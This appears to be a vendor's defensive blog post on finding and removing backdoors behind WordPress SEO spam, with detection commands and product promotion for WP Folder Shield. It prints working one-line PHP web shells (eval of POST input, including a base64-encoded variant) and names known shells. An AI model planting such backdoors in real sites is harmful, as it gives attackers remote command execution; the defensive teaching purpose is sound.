Backdoor Files That Enable SEO Spam Attacks - What to Look For
SEO spam attacks rely on backdoor files for persistence and control. Learn to identify the hidden files hackers use to maintain access to your WordPress site.
Understanding Backdoors in SEO Spam Attacks
When hackers inject SEO spam into your WordPress site, they don't just add spam content - they install backdoor files that allow them to maintain access even after you discover and clean the initial infection. These backdoors are often the reason sites get reinfected within days or weeks of cleanup.
Understanding how backdoors work and where hackers hide them is essential for complete malware removal and preventing reinfection.
Common Types of SEO Spam Backdoors
Web Shell Backdoors
Full-featured backdoors providing file management, database access, and command execution:
- FilesMan - Popular PHP file manager shell
- WSO (Web Shell by Orb) - Feature-rich backdoor
- c99, r57 - Classic PHP shells
- b374k - Modern web shell
Simple Eval Backdoors
Minimal code that executes arbitrary commands:
<?php eval($_POST['cmd']); ?>
<?php assert($_REQUEST['x']); ?>
Obfuscated Backdoors
Hidden using encoding to evade detection:
<?php eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); ?>
<?php eval(gzinflate(base64_decode('...'))); ?>
Plugin/Theme Backdoors
Malicious code hidden within legitimate-looking files:
- Modified functions.php with hidden functions
- Fake plugin files in wp-content/plugins/
- Modified class files in themes
Where Hackers Hide Backdoors
wp-content/uploads/
The most common location because:
- Always writable
- Rarely monitored
- Can disguise files as images
- Deep directory structure for hiding
Look for:
- Any .php files (should not exist here)
- Files with suspicious names (abc123.php, cache.php)
- Hidden directories (.cache/, .tmp/)
- Files with image extensions but PHP content
Theme Directories
Backdoors blend in with legitimate theme files:
- social.php, share.php (fake functionality)
- class-widget.php, class-helper.php
- Modified header.php, footer.php
- Template files in child themes
Plugin Directories
Common hiding spots:
- Fake plugins with realistic names
- Modified files in inactive plugins
- Extra files in legitimate plugin folders
WordPress Root
Files that look official:
- wp-config.php.bak (actually PHP)
- wp-settings-custom.php
- xmlrpc-custom.php
- wp-blog-header-backup.php
wp-includes/
Modified core files:
- Extra files among core files
- Modified class-wp.php, general-template.php
- Hidden in rarely-checked subdirectories
Backdoor Detection Techniques
File-Based Detection
Search for suspicious patterns:
# Find PHP in uploads
find wp-content/uploads -name "*.php"
# Find recently modified files
find . -name "*.php" -mtime -7
# Search for eval/base64
grep -r "eval(" --include="*.php"
grep -r "base64_decode" --include="*.php"
WP Folder Shield Detection
WP Folder Shield identifies backdoors through:
- Known backdoor signatures
- Obfuscation pattern detection
- File location anomalies (PHP in uploads)
- Core file modification detection
- Heuristic analysis of suspicious code
Code Analysis Indicators
Signs a file is a backdoor:
- Uses $_GET, $_POST, $_REQUEST with eval/assert
- Contains encoded strings (base64, gzinflate)
- Has no clear legitimate purpose
- Filename doesn't match content
- Created by unknown user/process
How Backdoors Enable SEO Spam
Initial Access
Backdoor provides persistent entry point even after password changes.
Content Injection
Allows remote injection of spam pages without logging in.
Cloaking Control
Backdoor can update cloaking rules as detection methods evolve.
Reinfection
After cleanup, backdoor re-injects all spam content.
WP Folder Shield's Anti-Backdoor Protection
Upload Directory Protection
Blocks execution of any PHP file in uploads - rendering uploaded backdoors useless.
Comprehensive Scanning
Full Site Scanner detects:
- Known backdoor signatures
- Obfuscated code patterns
- Files in wrong locations
- Modified core files
File Integrity Monitoring
Alerts when new files appear or existing files are modified.
Root Directory Monitor
Specifically watches for new PHP files in the WordPress root.
Firewall
Blocks the vulnerabilities hackers exploit to upload backdoors.
Complete Backdoor Removal
- Run WP Folder Shield full scan
- Identify all suspicious files
- Check each flagged file manually
- Delete confirmed backdoors
- Replace WordPress core files completely
- Reinstall themes and plugins from official sources
- Change all passwords
- Enable WP Folder Shield protection
- Rescan to verify clean
Conclusion
Backdoor files are the reason SEO spam infections keep coming back. Complete removal requires identifying and eliminating every backdoor, not just the visible spam. WP Folder Shield's multi-layered protection - from blocking execution in uploads to continuous file monitoring - helps ensure backdoors cannot be established or used to reinfect your site.
Written by David Kim
WP Folder Shield Team